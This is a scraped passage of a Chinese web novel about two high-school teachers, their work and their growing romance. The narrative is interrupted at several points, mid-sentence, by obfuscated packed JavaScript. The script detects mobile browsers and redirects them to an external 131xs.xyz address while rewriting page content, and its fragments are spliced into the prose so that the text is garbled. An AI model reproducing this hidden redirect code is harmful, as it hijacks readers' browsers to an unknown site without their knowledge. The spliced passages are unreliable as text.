l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220200|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：商老师你这是不信任我吗？对着参考答案批阅这种简单的事情我还是能做到的？】 【商陆：我知道，我只是想要一边批改一边看学生的错题情况，这也是教学的一部分。】 霍空青无言以对，在做老师这一方面她是真的比不上商陆，处处为学生考虑，太过尽职尽责。 【霍空青：需要我去小卖部给你买一些冰镇饮料或者小零食吗？就算你平时不吃，也可以用来奖励你忠实的课代表，小姑娘搬那么多作业过来也挺不容易的。】 【商陆：如果你想要奖励学生的话，我建议不要买饮料零食，最好买和学习相关的东西，比如各种文具用品。】 霍空青撇嘴，学姐好像真的被老师这个职业腌入味了，明明在上大学的时候，学姐还提过零食奖励制度，想要和学生处成好朋友呢。 - 一中晚自习有三节，七点开始九点二十分结束，熄灯就寝时间是晚上十点。 日常查寝是宿管和后勤部老师负责的，不过对方只负责确保每个宿舍的学生到齐，熄灯后就寝纪律通常都是由班主任和值班的年级主任抽查。 听到霍空青想要一起查寝后，商陆也没拒绝，而是把具体的名册交给她，“他们也是你的学生，到时候一边点名一边认人吧。” “好的，保证完成商老师安排的任务。”霍空青笑着应下。其他班的学生她懒得一个个记名字，不过商陆亲生班的学生还是有必要记一记的。 “到时候严肃一点。”商陆忍不住叮嘱。 学生和学生之间的区别也是很大的，如果不在某些‘叛逆’学生面前保持威严，可能会造成一些不好的后果。 尤其是霍空青这种颜值高的女性老师，让学生对她心生畏惧并不是一件坏事。 - 在办公室等到差不多九点五十后，商陆才锁上办公室准备出发去查寝。 先检查的是男生寝室，四班男生住在四楼，一共三个宿舍，很轻松的就在熄灯前完成点名。 大部分学生都对霍空青的出现颇感好奇，其中一个大胆的男生的还问了出来，“霍老师不是信息老师吗？怎么也要查寝？” “配合你们班任工作。”霍空青板着脸说道，语气略显平淡，让那个问话的男生没敢问第二句。 等走到女生宿舍时，熄灯时间到了，宿舍楼瞬间变得安静起来。 额，其实也不算特别安静，至少霍空青在走到在四班女生寝室门口的时候，还能听到一些细碎的说话声。 商陆对此也很直接，直接屈起手敲了两下窗户上的玻璃，不需要开口，寝室内就瞬间安静下来。 打着手机电筒的霍空青默默在灯下伸出大拇指，用夸张的口型比划，‘商老师威武~’ 商陆没忍住白了一眼霍空青，随后才低声开口，“306都到齐了吗？” “到齐了。”306寝室长答道。 “早点睡，明天要早起呢。”商陆叮嘱了一句，发现自家班另外两个寝室格外安静后，板着脸拉着憋笑的霍空青放轻脚步离开。 有什么好笑的，班主任查寝不都这样吗！ 9. 第九章 深夜的室外温度并不高，偶尔拂面的微风更是带走最后一丝燥热，连车内空调都不需要开启。 这个点还在营业的店铺多半是些烧烤大排档，路过时还能嗅到明显的炭火和肉香味。 “商老师，要吃点东西吗？”同样闻到香味的霍空青问道。 商陆犹豫了足足三秒，最后坚定摇头：“我不吃，你想尝尝味道的话可以停下买点带回去。” “那我也不吃，一会到家回去吃点水果就行。”霍空青加了一点油门，卡着道路限速往家的方向开去。 余光督见商陆靠在椅背上闭目养神，霍空青顺手调低音量，让车厢内只剩下舒缓的音乐飘荡。 深夜道路上的车很少，不到十五分钟车子就稳稳停在单元楼下。 “到了？”商陆的声音有些迷糊，抬手揉了揉眼睛，太过安逸的环境让她忍不住在路上眯了一小会。 “嗯，我们到家了。”霍空青利落拔出钥匙熄火，随后跟在商陆的身边开始爬楼梯，手指偷偷摸了摸她一晃一晃的发尾，“商老师，明天需要几点到学校？” “明天早读班里有老师，五十前去看看学生有没有到齐就行。”商陆说道，忍不住张大嘴打了一个哈欠。 霍空青把手收回来，“那我们早上六点二十五出发可以吗，大早上的也没太多车，十五分钟能到学校。” “好，麻烦你了。”商陆没法拒绝，二十五分出发的话，她可以把六点的闹钟改成六点十五或者是二十，能多睡二十分钟呢。 走到六楼准备掏钥匙的时候，商陆抬头看向亮起的声控灯，忽然问道：“你知道楼道里的灯是谁修的吗？” “这个啊，我在装修的时候顺便让师傅修了一下。”霍空青无比自然的接话，“我想着楼道有灯的话，晚上回来会方便很多。” 商陆握着钥匙，“花了多少钱？这是我们两户共用的灯，应当一起分担费用。” “不记得了，这笔钱没单独算。”霍空青把手撑在楼梯扶手上，对着商陆笑，“要是商老师过意不去的话，周末的时候请我吃顿好的？” “可以。”商陆应下，她不想亏欠霍空青太多，上下班蹭车已经是霍空青在迁就自己。 “那就一言为定，我好久没尝过你做的饭了。”霍空青顺杆爬，从单纯的请客吃饭变成吃商陆亲手做的饭。 “国外不是有很多中餐厅吗？”商陆忍不住问道，“而且你家里应该有专业厨师吧？” 霍空青的家庭条件很好，这是商陆在第一次从学校论坛看到和霍空青有关消息时就知道的消息。 毕竟就算是京师大，也不是每个学生都把价值大六位数的腕表戴在手上，随随便便就用一百多万的车当作普通代步车的。 “可能是水土不服吧，我还是喜欢在自己的国家生活。”霍空青笑着回应，少见的没有深入聊下去。 - “商老师，教师节快乐！”第二天商陆一打开门，面前就出现一捧白色的百合花，中间还有一个同色系的礼物盒子。 “教师节礼物，商老师快收下。”霍空青催促道，“礼物只是一些永生花，不是什么昂贵的饰品。” 霍空青颇有自知之明，很清楚两人的关系撑死就是朋友以上，还不到送重礼的时候。 果然，听到只是永生花后，商陆伸手接过，语气诚恳：“谢谢，不过我没准备好给你的礼物。” “我不在意这个，只要商老师别送我薄荷糖就行。”霍空青说道，牵住商陆的手，一步步踩着楼梯往下走。 商陆没有说话，只是沉默的看着霍空青的背影，不知道在想些什么。 - 教师节当天，一中校院内多出不少学姐学哥的身影，出现频率最高当属今年考上大学的学生。 他们大部分都还没到开学的时间，可以带着精心准备的礼物来看望母校和他们想要感谢的老师。 商陆在带高三的时候不是班主任，可在教学生知识这方面极为尽心尽力，没有放弃任何一个基础差甚至调皮不爱学习的人，在学生中口碑极好。 所以在霍空青中午来接人时，就看到自家学姐的办公桌被各种精美的小礼物堆满，自己挑选的永生花小摆件混入其中后变得平平无奇。 大意了，光想着选让商陆能接受的低价位礼物，忘记自己在今天会多出许多竞争对手。 不过没关系，那些人只是商陆的学生而已，随着时间的流逝，最后能站在商陆身边的人只会是自己。 收到学生礼物的商陆心情比平时好很多，具体表现为午休时间内教室吵闹也没有生气，只是让他们安静些，不想午睡就安静看书写作业。 得知霍空青想要和自己一起午休也没拒绝，还特意让出自己有腰垫的人体工学椅，自己坐在凳子上批改作业。 这让霍空青哭笑不得，只能趴在沾满商陆气息的U型枕上，默默观察桌面上多出来的小摆件。 看着看着，霍空青的眼皮就慢慢变重，最后就这样趴着睡了过去。 霍空青晚上入睡的时间不固定，但早上不到六点就起床的经历极少，短短几天早起的生活还不能动摇她根深蒂固的生物钟。 平稳的呼吸传入到商陆的耳里，侧过头，霍空青姣好的睡颜倒映在她的眼眸中。 放下手中的红笔，商陆轻手轻脚拉开一边的抽屉，从里面取出一条薄薄的毯子，铺开后盖在霍空青的背上。 想要倒水却看到这一幕的袁艺忽然有些牙疼，总觉得自己吃到了一点酸酸甜甜刺激牙龈的东西。 - 开学第二周有条不紊的来到周五，商陆在周五下午有两节化学课，加上要忙贫困生申请的事，一下变得忙碌极了。 “这个贫困生申请，只要符合条件就行吗？”提前忙完的霍空青在下午四点不到就来办公室报道，试图搭把手。 “一般情况下名额平均下来是每个班三个，不过这个并不限制申请人数，最后能不能通过还要看政教处老师那边的审核。”商陆说道。 “有什么我能帮上的忙吗？”霍空青睁大眼睛，让自己看起来非常诚恳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220201|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 商陆皱眉，但在看到自己要写的各种报告后，还是开了口，“下午第四节是默认的大自习，你有空的话帮我看看班级里的情况？” “只要看四班学生？”霍空青。 商陆点头，她本周的班主任工作周报还没写完呢，理论上要在五点前上交，留给她的时间不多了。 “交给我吧，我保证会让四班成为那一层纪律最好的班级！”霍空青保证，拿着手机就准备出发。 “不要在讲台上玩手机，把这本书拿着，没事可以看看。”商陆将一本教辅书塞到霍空青的手里，“也不要一直坐着，要看看学生有没有看课外书。” 霍空青乖巧点头，“如果发现要没收吗？” 商陆：“视情况而定，和学习相关的可以，无关的漫画小说不行。” 再三保证后，霍空青被赋予高一四班临时班主任的头衔，踩着四点的上课铃来到了四班教室。 “我来代商老师的班，你们自习，不要说话。”霍空青按照叮嘱板着脸，入座后就翻开了教辅书，认认真真看了起来。 霍空青的记忆力一向不错，而且化学知识对她而言也是也是必学的一部分，因此书上的知识点在她看来都非常简单易懂。 “老师，有不会的题可以问你吗？”十分钟后，一个戴眼镜的学生举手问道。 “数学、英语和物化生可以，其余学科我可能不是很专业。”霍空青如实答道，然后她就被学生围着请教。 好在霍空青的实力够硬，高一的理科内容对她而言不过是洒洒水，英语就更别说了，高难的专业词汇她都看得懂，高一的语法更是信手拈来。 “哇，老师你写的是花体英文耶，是特意练过的吗？”上来请教的英语课代表露出仰慕的眼神。 “不算特意练过吧，小时候老师就是这样教我的。”霍空青压住想要上扬的嘴角。 此时的霍空青不得不承认，比起那些满是算计的阿谀奉承，来自单纯高中生的夸奖显得要悦耳许多。 “考试的话不建议这样写，还是要以标准化为主。”霍空青立刻补上，她可不想被商陆批评教学生花里胡哨的东西。 “那老师可以写一句英文格言给我吗？”课代表眨巴眼问道，递出一张白色卡纸，“就是我的座右铭。” “当然可以，你的座右铭是什么？”霍空青笑着接过。 “Reasonistheguideandlightoflife.”课代表腼腆的笑了笑。 “理智是人生的灯塔。”霍空青翻译道，同时用花体英文写下这句话，“很不错的座右铭，希望你永远记得。” “嗯嗯，谢谢老师。”课代表心满意足的离开。 霍空青也非常满意的把笔盖上，不过在余光扫到窗口站着一个人影时，心脏还是免不了漏掉一拍。 在看清那个人是板着脸的商陆后，霍空青缓缓吐出一口气，压下不该出现的心虚。 这就是班主任的威慑力吗？虽然自己也没干坏事，但还是会下意识慌一下呢。 10. 第十章 得知隔壁的霍老师要来家里吃饭后，商妈妈的兴致极高，周六一大早就拉着小推车去菜市场采购，提前一天卤了牛肉不说，不到八点就把老母鸡用文火煲上。 等商陆打着哈欠起来的时候，都能闻到厨房里飘出来的香味。 “妈，现在才九点呢，有必要那么早就开始准备吗？”商陆用发绳随意给自己扎了一个丸子头，踩着拖鞋凑到自家妈妈身边。 “你懂什么，想要鸡汤清澈透亮就要慢慢煲，然后把油花都撇掉。”商妈妈说道，拿出足足六个大盘子，开始提前洗菜备菜。 商陆看着满满当当的食材，忍不住提醒：“妈，加上霍空青我们也就三个人，四菜一汤就足够了。” “人家早起晚归让你搭车，又修好了外面楼道的灯，怎么能四菜一汤解决呢？怎么说也要八个菜。”商妈妈不赞同的开口，开始赶人，“行了，你要是困就再去躺会，这里我一个人来就行。” 商陆扒拉着厨房的推门不撒手，“妈，我都和霍空青说了，我亲自下厨给她做饭，怎么能让你代劳呢？” “我的手艺难道比你差？”商妈妈不乐意了，她做饭的手艺年轻时就是一绝，现在更是出色。 “我以前做的菜她吃过，要是换成妈妈你做的话，下次我亲自下厨就会露馅的。”商陆露出讨好的笑容，努力说服自家妈妈。 “那直接说我做的不就好了吗？”商妈妈不太能理解，为什么不让手艺更好的自己掌勺，都是来家里吃饭味道好点不好吗？ 商陆没有解释太多，只是一直坚持要遵守承诺，好不容易才重新拿到了掌勺权。 上午十点，外面的金属防盗门被敲响，霍空青一手拎着补品一手拿着水果礼盒出现在门口。 “陆阿姨好，我来蹭饭啦。”霍空青笑着开口，以不容拒绝的姿态把手里的礼物拎到客厅。 商妈妈拒绝无果，只能立刻拿来果盘，试图让厨房里的商陆去接待客人，转而让自己掌勺。 商陆选择泡杯茶端出去，“午饭还需要一个小时左右，霍老师先看会电视？” “好呀。”霍空青笑着应道，“需要我来厨房搭把手吗？” “没事，我一个人能搞定。”商陆打开电视机，顺便把遥控器递给霍空青，“有什么需要直接喊我，我继续去做饭了。” 商陆拿回对厨房的控制权后，商妈妈只能在再三叮嘱后一步三回头的离开，坐在沙发上和霍空青聊了起来。 霍空青一贯能哄人开心，在面对性格朴实善良的长辈时更甚。 这不，聊了不到十五分钟，商妈妈就开始滔滔不绝介绍起商陆这个让她发自内心骄傲的女儿。 要不是认识的时间不够久，商妈妈都准备掏出相册和霍空青一起看着照片回忆从前。 霍空青听得津津有味，不过慢慢引导着话题落在商妈妈自己身上，“阿姨您在食堂上班的话，平时是不是很忙？” “不算太忙，我在初中食堂负责烧饭，那里没有住宿的学生，周一到周五给他们准备一顿午饭就行。一般早上九点去，下午三点就能下班回家。”商妈妈笑着说道，“说起来，我能有这份工作也是多亏了商陆有出息呢。” 霍空青立刻露出很有兴趣的表情：“是商老师给您找的这份工作？” “是她成绩好，当时县里的高中抢着要她去读书呢，我的工作也是她高中老师介绍的。”商妈妈语气里满是骄傲，并没有觉得靠女儿得到好工作有什么问题。 霍空青配合的送上夸奖，“不愧是商老师，高中就那么厉害，怪不得在大学成绩也那么好，年年都能拿国家级奖学金。” 商妈妈没有刻意控制音量，霍空青就更不会刻意压低声音。 这就导致在厨房将锅铲挥的飞快的商陆忍不住用脚趾抓着鞋底板，脸蛋的颜色快可以媲美被炒熟的大虾。 最后餐桌上出现的是六菜二汤，老母鸡和卤味拼盘是商妈妈的手艺，其余都是商陆亲自挥舞锅铲做出来的。 “好吃，商老师的手艺都可以去应聘餐厅大厨了。”霍空青毫不吝啬送上夸奖，“阿姨的卤味也一样，比我在那些连锁卤味店里买的还好吃。” “就那样，吃个新鲜干净。”商妈妈乐的合不拢嘴，没有人不喜欢自己的成果被认可。 霍空青：“我可没有夸大事实，阿姨要是有想法的话，盘个店铺开店也是可以的，可不是所有的配方都能做出那么好的卤味。” 商妈妈因为霍空青真挚的语调有了一瞬间的心动，可想到开店需要付出的时间和精力后又默默将心动压下，摆摆手说道：“都五十多岁的人了，没必要开店折腾，趁着身体好能干几年就就干几年。” “五十多岁不过走了一半人生路而已，剩下的时间还有很多呢。”霍空青接话，“阿姨如果有想法的话，我可以投资，到时候喊两个学徒帮忙，阿姨只要负责检查卤味出品的味道就行。” “我们的目标也不用定的太大，只要在老店盈利后在江定县开几个分店，努努力成为地标美食就行，不追求什么全国连锁。” 霍空青画饼的功力非常不错，而且她不单是只会画饼，更能让大饼真正落到嘴里填饱肚子。 “阿姨不是在初中食堂工作吗？可以做一些卤味让学生试试，要是能把口碑打出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220202|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话，就可以慢慢考虑要不要开店。” 这次商妈妈是真的心动了，请人开店对她而言有些困难，可只是做卤味让学生尝尝的话没有任何难度。 商妈妈也是掌勺的厨师之一，在不损害食堂背后老板利益的情况下修改一下菜单不是难事，无非就是多费点时间而已。 看到自己妈妈若有所思的模样后，商陆不知道该说些什么，只能往嘴里扒拉一口白米饭。 在商陆看来，自己的存在对妈妈来说是一个负担，至少在她成为老师能赚钱养家之前是。 自家妈妈做饭的手艺很好，这一点商陆很早就知道。如果没有自己在拖后腿的话，妈妈说不定早就凭着手艺开店，最不济也能成为大饭店里掌勺的厨师长。 而不是因为有孩子这个理由多次离婚失败，直到那个人携款跑路留下一屁股的债务才得以解脱，最后靠着身兼多职还完负债才慢慢让日子走到正轨。 “商老师，你觉得这个计划怎么样？”霍空青当然不会错过商陆情绪上的变化，很快就把话题抛给她。 “要是食堂负责人允许的话，可以试试看。”商陆回过神来，只要是妈妈发自内心想要去做的事情，她都会无条件支持。 午饭在极为和谐的氛围中暂告一段落，在霍空青强烈坚持下，她顺利来到厨房的洗碗池，和商陆并排开始清洁工作。 “商老师，是我的提议有什么不妥吗？你看着似乎有心事？”霍空青直接问出自己的困惑。 商陆冲碗的动作慢了一拍，下意识否认：“没什么，只是我在想这样做会不会让其他食堂员工有意见。” “一般来说不会，阿姨这种性格不会额外给其他人添麻烦的。”霍空青分析道，“而且她还有一个女儿在一中当班主任呢，一中可是这里最好的高中。” 商陆哑然，霍空青的分析能力还是一如既往的强，“你说得对，是我想太多了。” 直觉告诉霍空青，商陆的状态还是有些不对劲，但她并没有追问，而是改变了话题，“商老师，明天你有安排吗？” “明天晚上我要去学校。”商陆说道，“我作为班主任要监督学生晚读和晚自习，晚上也需要查寝。” 霍空青笑了，“我可以理解为白天有空？” 商陆：“你有什么安排？” “房子翻新的比较急，只有主卧和客厅添置了家具，次卧只是简单铺了地板刷了墙。我准备把次卧改成书房，需要去采购对应家具，你能陪我吗？” 霍空青语气诚恳，把最后一个盘子递给商陆过水，“商老师，你知道的，我在江定县就你一个熟人，求你了~” 11. 第十一章 自己是不是太不坚定了一些？明明最开始买房子、翻新装修就是霍空青一个人搞定的，没道理她会被区区书房软装难住。 商陆在反省，但同时她也被霍空青牵着手，走在县城内最大的家具城内。 “学姐，你觉得这个书桌怎么样？”霍空青开口询问，拉回商陆飘逸的思绪。 商陆闻言认真思考，“这个会不会太大了一些？只是一个人办公的话，我觉得用不了那么大。” “如果放两个台式电脑呢？其中一个加额外的显示屏。”霍空青用左手比划，“三个显示两边是个人物品摆放区域，这样是不是就合理多了？” “你需要两个台式？”商陆微微仰头看向霍空青的侧脸，线条还是一如既往好看。 “学姐家里应该没有书房吧？需要加班的时候不如和我一起？”霍空青笑眯眯的开口，抛出让商陆无法拒绝的理由，“这样一来，也不用担心加班会影响到阿姨休息。” 老式小区对门户的布局完全对称，左右一百来平的房子，在去掉必须的厨房客厅和卫生间后，留下来的就是两个卧室，挤不出来额外的空间当作专门的书房。 在卧室里办公当然可以，但哪比得上面积和卧室相等的专用书房呢？ 商陆眼睫微颤，她怀疑自己经历的一切都在霍空青的计划内，示弱中夹杂示好，让自己根本拒绝不了。 “学姐，就当是陪陪我好吗？”霍空青垂眸，故意露出可怜兮兮的语气。 “你知道的，我是第一次当老师，我不确定自己的教学方法能否让他们学会考纲里面的知识点，我不想任何一个学生因为我的教学能力不能通过学业水平考试。” 商陆内心进一步动摇，她可以委屈自己，但绝对不会想耽误学生，“我不是信息老师，这一点你应该向莫老师请教。” “可学姐你很会管学生啊，我在教四班的学生的时候，他们知道我和你关系好，所以在我的课上都很乖，根本就不敢搞小动作。”霍空青凑近说道，“学姐，你教教我呗？” 过近的距离让商陆鼻腔中满是霍空青的味道，诚恳的语气加上充足的理由，让她说不出拒绝的话来，只能含糊应下。 “商老师？”一道突兀的声音打破了两人之间略显暧昧的氛围，顺着望过去，是一个看起来三十左右的男人。 “李老师。”商陆退后半步拉开了和霍空青的距离，对着来人露出礼貌的笑容。 李老师满脸都是笑容，在看清霍空青的样子后，更是下意识挺直了后背，“这位是商老师的朋友？” “嗯，我的朋友。”商陆说道，“一中的霍老师。” “霍老师你好，我是二中的李明成。”李明成笑着说道，主动伸出了手。 “你好。”霍空青点了点头，随即将视线从没有自己高的人身上移开，并没有握手的想法。 李明成有些讪讪的将手收回，不过面上热情不减，“你们这是准备买点什么？需要我帮忙参考吗？” “我在县城中心的新房家具都是在这里买的，和不少老板都认识，能给你们友情价。”李老师超不经意的补充道。 商陆婉拒：“我们就随便逛逛，看看有没有喜欢的，李老师你忙，我们就不耽误你时间了。” “没事，我今天不忙。”李老师说着凑到商陆身边，“上次我还说要请你吃饭来着，择日不如撞日，今天晚上我请客怎么样？” “不用了。”商陆继续婉拒。她和李明成是在一次教师联谊上认识的，当时学校要求未婚满足条件的老师都要去，商陆掏不出病假条，就只能参加。 “麻烦让一下。”不等李明成开口，霍空青就主动往前迈了一步，拉着商陆的手越过他。 商陆脚步跟上了霍空青的脚步，下意识解释，“我就和他见过一次，我们连朋友都不是。” “看得出来你们不熟。”霍空青说道，“下次遇见这种人就没必要那么礼貌了，你对他客气，他只会觉得你对他有意思。” 商陆嗯了一声，没有解释太多，只是垂眸看向两人握在一起的手。 面对这种事情，霍空青永远都可以干脆利落的拒绝，曾经的自己或许可以做到，但现在的自己呢？ 霍空青喜欢的是大学里成绩出色、各种荣誉加身的自己，当她知道自己在摸爬打滚被磨去棱角后，她还会喜欢自己吗？ 藏好自己的情绪，商陆看起来和平时没有什么两样，陪着霍空青在家具城逛了足足两小时，最后签下价值五万左右的单子，约定好在明天中午送货上门安装。 - 霍空青觉得自家学姐不太对劲，具体哪里不对她说不上来，只能一有空就往商陆办公室钻，看看能不能发现一些细枝末节。 这周二晚上商陆要去班级里看晚自习，坐在她位置上敲敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220203|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打打的人换成了霍空青。 办公室内的老师对此见怪不怪，甚至连常跑办公室的课代表也和霍空青混了个脸熟。 在第二节晚自习的时候，四班英语课代表探头探脑的钻进办公室，随后小跑来到霍空青身边，“霍老师，能不能拜托您帮个忙。” “嗯？宋知同学想要我帮什么忙？又是给你写座右铭？”霍空青笑着问道。 她挺喜欢这个小姑娘的，各科学习成绩好不说，还能班里同学带早读。每次轮到早读是英语的时候，商陆总是更加从容不迫，甚至愿意多睡上五分钟。 “这不是要出新一期的黑板报了嘛，我们想搞一个多国语言庆国庆，所以想要拜托霍老师帮忙。”宋知笑容腼腆。 “你怎么知道我会多语言？”霍空青挑眉。 宋知即答：“当然是我们班任说的，我本来是想要让班任帮忙的，当时班任说霍老师你更厉害。” 霍空青嘴角微微扬起：“噢？你们班任还说了什么吗？” “啊？”宋知忍不住挠头，“好像就没说什么了。” “我知道了，我一会亲自和你们班任说。”霍空青笑笑，没让学生成为传话机器，“什么时候需要我帮忙？” 宋知：“评选时间是下周日晚上，不过我们班有板画大神，估计明天就能完工，老师您明天晚自习随便抽个时间来就行。” “行，明晚我来班里看看。”霍空青一口应下。 目送学生离开后，霍空青就掏出手机，哒哒给自家学姐发消息。 【霍空青：商老师，虽然我很便宜，但是不接受无偿噢，你想好支付什么报酬了吗？】 名字下方很快就弹出‘对方正在输入中……’的字样，不过在足足两分钟后才有新消息弹出来。 【商陆：需要什么报酬？】 【霍空青：两个拥抱可以吗？】 两个拥抱？这算什么报酬？ 商陆想笑，可在扬起嘴角后又觉得有些揪心，像霍空青这样优秀的人，其实没必要这样放低姿态来追求自己。 大学时的商陆觉得只要有爱就可以克服一切困难，而现在认清现实残酷的商陆已经改变想法。 反复点开对话框不知道多少次后，商陆还是按照内心的声音给出了回复。 【商陆：我可以给你三个拥抱。】 【霍空青：好耶！一言为定！】 12. 第十二章 “霍老师，我能请教你一个问题吗？”宋知压低声音问道。 “什么问题？”霍空青手上拿着粉笔，完成最后一个英文字符的书写。 宋知偷偷看了一眼身后，确定同学都在专心做作业后才开口，“老师知道我们班有几个人可以申请到贫困生吗？有没有名额限制。” “一般三个，不过条件符合的话多几个也有可能。”霍空青问道，“怎么了，班里情况困难的人有很多？” 宋知的脸上露出犹豫的神色，她不知道自己该不该说。 霍空青没有催促，而是很有耐心的等着宋知权衡完利弊。 “有一个同学，她家里的情况我不清楚，但她平时很节俭，每次吃饭都只打一个蔬菜和一碗米饭，早饭更是就一个……馒头。”宋知的声音更低了，“如果没有名额限制的话，我想让她试着申请一下。” 宋知没有透露具体是哪位同学，霍空青也就没有追问，“当然可以，补助申请只看条件，符合条件就行。” “那我可以帮她领一份申请表吗？我不想太多人知道。”宋知眨了眨眼，眼里带着期待。 “一会上课的时候你和我一起去趟办公室，找你们班任要一份就行。”霍空青将粉笔放下，“领取和上交你可以代劳，不过资料要本人填写。” “嗯嗯，这个我知道的！”宋知立刻点头，脸上的表情也松快了不少。 - 将申请表夹在练习册中带走后，宋知的脚步勤快，关门时还不忘对霍空青和商陆露出笑脸。 霍空青把椅子往商陆的方向推了推，“商老师，你知道这个学生是谁吗？” “大概猜得出来。”商陆取下眼镜，捏了捏眉心，“我以为她会主动问我要，没想到……等申请表交上来，我抽时间去她家里看看。” “她家应该不在县城吧？”霍空青说道，“挑个周末我陪你去好了，开车方便一点。” “需要什么报酬？”商陆问道，她已经从婉拒进步到直接问霍空青要什么了。 霍空青搓了搓指腹，最后竖起一根手指。 “一个拥抱？”商陆带着一丝狐疑，一个拥抱最多也就三分钟，霍空青的要价什么时候那么便宜了？ 霍空青摇头，露出狡黠的笑容：“不是拥抱，是陪我看一场电影。” 商陆压下冒头的警惕，轻咳一声应下：“只要我有空，时间随你安排。” - 学校就那么大，不过一天霍空青帮四班学生出黑板报的消息就传了出来，不少好奇的同学还特意路过四班欣赏了一下什么叫做八国语言。 “霍老师，我瞧你有时间又有能力，不如把图书馆门口的黑板报也承包了？”办公室内的老资历吕老师忽然开口，语气看似客气实则是在下命令。 “要是人手不够就让商老师班里的学生帮个忙，你们争取一晚上就搞定这个黑板报。” 霍空青打字的动作不带停，仿佛完全没有听到这句话。 “小霍老师？”吕老师忍不住加重音量。 “嗯？怎么了？”霍空青回头，目光淡淡。 “图书馆的黑板报还没出，小霍老师辛苦一下，挑几个学生帮个忙给它出了吧，这样也好看美观一些。”吕老师耐着性子重复。 “我怎么没听说这个黑板报需要我来负责？”霍空青转动椅子，靠在椅背上看向站起对方，“吕老师方便给我看看学校通知吗？” “我只是建议，小霍老师这不是能力对口吗？”吕老师脸上带着假笑，“现在学生都在讨论，说小霍老师你很厉害呢。” “吕老师更适合去找美术老师，他们才是专业最对口的。”霍空青说道，随后转回到电脑前继续忙活，并没有给这个所谓的老资历面子。 吕老师脸上的表情明显挂不住，见气氛不对另外一位年纪大的老师出来打圆场，“到时候我喊几个学生忙活一下就行，他们还乐得能在外面透气呢。” “我只是好心提议，图书馆和校门口离得很近，要是出个漂亮的黑板报，领导来视察对我们学校的印象也能更好。”吕老师有些咽不下这口气。 自从他评上高级教师后，就没有年轻老师这样和他对着干了。就算是当年的高材生商陆，到最后不也是乖乖听他指挥？ 霍空青不给面子的嗤笑一声，眉宇间多出不屑，手上敲键盘的声音依旧不带停的。 “小霍老师这是什么意思？觉得我太多事了？”吕老师这下坐不住，直接站起来问话。 秉承尊老的美德，霍空青转过身看向他，眼神轻蔑，“吕老师，既然是你的提议，你为什么不自己去做？” “我这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232693|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你们年轻老师表现机会。”吕老师板着脸，“而且按照规定，信息老师是不应该出现在这里的，你应该回到自己的工作岗位上。” “按照规定，现在是我的下班时间，并不需要待在自己的工作岗位上。”霍空青纠正，“难道高一办公室有不一样的规定，规定其他老师不能在下班时间在此逗留。” 吕老师被气得说不出话，“你这话是什么意思？你这是当老师的态度吗？” 霍空青无意和他争辩，和这种人吵下去最后的结果只有一个，被对方上纲上线，然后用所谓的教学年限和经验压得你说不出话来。 这一套对普通年轻老师确实很好用，但对霍空青是一点都不好使。 “吕老师，霍老师年轻不懂事，你就包容一下。”一边的老师赶紧劝，更有甚者还让霍空青道歉赔个不是。 这些话霍空青一律当作没听到，让那些劝他低头的老师无功而返。 这个点办公室里的老师并不多，袁艺不需要值班早早就回去，商陆则是在四班看学生晚自习。 发现霍空青一点都不接招后，吕老师也没办法，只能甩脸离开办公室，不知道是负气离开还是找谁去告状了。 陈老师脸上露出些许犹豫，但还是挪着椅子靠近霍空青，委婉提醒：“这位吕老师资历比较老，和年级主任关系也不错，还是尽量不要和对方有矛盾的好。” “多谢提醒，不过我这人性子直，怎么想就怎么说了。”霍空青礼貌笑笑，“而且我也没做错什么，学校不会因此开除我。” 陈老师眼里闪过一抹无奈，年轻人的锐气果然重，只能继续提醒：“他确实管不到你，可商老师呢？高一年级主任也是政教处副主任，是负责班主任培训管理的。” 